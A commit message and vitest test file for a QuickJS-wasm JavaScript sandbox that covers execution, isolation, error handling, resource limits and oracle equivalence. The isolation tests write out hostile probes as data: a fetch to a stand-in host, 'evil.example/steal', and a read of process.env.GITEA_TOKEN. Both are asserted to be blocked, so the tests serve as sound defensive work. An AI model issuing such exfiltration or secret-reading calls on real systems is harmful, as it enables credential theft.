60f5f10ba5
n8n Code node 式逃生口:config 帶 inline JS、stdin 帶 input JSON、
stdout 回 {success,data}|{success:false,error,error_type}。
沙箱=QuickJS-wasm:user JS 跑在 QuickJS context,global 只有純 ECMAScript
內建 + 唯一 curated builtin sha256(純函式);碰不到網路/檔案/env/secret/
Worker 物件圖。資源上限:timeout(interrupt)/memory/stack/output/code size。
本輪=設計+PoC,未部署 leo21c。sandbox.mjs + test/ 為 Node/vitest 可跑實作
(12 測試全綠,含 card→envelope 與原模組 planCard 逐欄全等)。index.ts 為
Worker host 骨架、DESIGN.md 記錄機制/安全性質/生產路徑/設計岔路(A/B)。
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
129 lines
5.1 KiB
JavaScript
129 lines
5.1 KiB
JavaScript
import { describe, it, expect } from 'vitest';
|
||
import { readFileSync } from 'node:fs';
|
||
import { fileURLToPath } from 'node:url';
|
||
import { dirname, join } from 'node:path';
|
||
import { runCode } from '../sandbox.mjs';
|
||
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
|
||
|
||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||
const FIX = join(HERE, 'fixtures');
|
||
|
||
describe('① 基本 snippet 跑通', () => {
|
||
it('sum: {return {sum: input.a + input.b}}', async () => {
|
||
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
|
||
expect(r).toEqual({ success: true, data: { sum: 42 } });
|
||
});
|
||
|
||
it('可用純 ECMAScript 內建(Array/JSON/Math/Date)', async () => {
|
||
const r = await runCode(
|
||
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
|
||
{ xs: [1, 2, 3] },
|
||
);
|
||
expect(r.success).toBe(true);
|
||
expect(r.data.mapped).toEqual([1, 4, 9]);
|
||
expect(r.data.max).toBe(3);
|
||
expect(r.data.isNum).toBe('number');
|
||
});
|
||
});
|
||
|
||
describe('② 沙箱隔離:無 ambient 能力', () => {
|
||
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
|
||
const r = await runCode(`return {
|
||
fetch: typeof fetch,
|
||
process: typeof process,
|
||
require: typeof require,
|
||
wasm: typeof WebAssembly,
|
||
globalThisEnv: typeof (globalThis.env),
|
||
xhr: typeof XMLHttpRequest,
|
||
};`, {});
|
||
expect(r.success).toBe(true);
|
||
expect(r.data).toEqual({
|
||
fetch: 'undefined', process: 'undefined', require: 'undefined',
|
||
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
|
||
});
|
||
});
|
||
|
||
it('嘗試打網路(fetch)→ 被擋、回結構化 error(Worker 不掛)', async () => {
|
||
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error).toMatch(/fetch.*is not defined/i);
|
||
expect(r.error_type).toBe('UserCodeError');
|
||
});
|
||
|
||
it('嘗試讀 env/secret → 讀不到(process undefined)', async () => {
|
||
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error).toMatch(/process.*is not defined/i);
|
||
});
|
||
|
||
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
|
||
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
|
||
expect(r.success).toBe(true);
|
||
expect(r.data).toBe('undefined|undefined');
|
||
});
|
||
});
|
||
|
||
describe('③ 錯誤處理 → 結構化 {error}', () => {
|
||
it('user code 拋錯 → success:false + error 訊息', async () => {
|
||
const r = await runCode(`throw new Error('boom');`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error).toMatch(/boom/);
|
||
expect(r.error_type).toBe('UserCodeError');
|
||
});
|
||
|
||
it('語法錯誤 → 結構化 error(不炸 host)', async () => {
|
||
const r = await runCode(`return {;`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('UserCodeError');
|
||
});
|
||
});
|
||
|
||
describe('④ 資源限制', () => {
|
||
it('timeout:無窮迴圈 → TimeoutError(不掛死 host)', async () => {
|
||
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('TimeoutError');
|
||
}, 10000);
|
||
|
||
it('輸出過大 → ResourceError', async () => {
|
||
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('ResourceError');
|
||
});
|
||
|
||
it('code 過大 → ResourceError', async () => {
|
||
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
|
||
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('ResourceError');
|
||
});
|
||
});
|
||
|
||
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
|
||
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
|
||
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
|
||
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
|
||
const repo = 'Leo/notes';
|
||
|
||
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
|
||
const strip = (plan) => {
|
||
const p = structuredClone(plan);
|
||
for (const e of p.envelopes) delete e.extractor.extracted_at;
|
||
return p;
|
||
};
|
||
|
||
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
|
||
const oracle = planCard(md, relPath, repo, {});
|
||
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
|
||
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
|
||
});
|
||
expect(r.success).toBe(true);
|
||
expect(strip(r.data)).toEqual(strip(oracle));
|
||
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
|
||
expect(r.data.entry.metadata.embed).toBe(true);
|
||
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
|
||
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
|
||
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
|
||
}, 15000);
|
||
});
|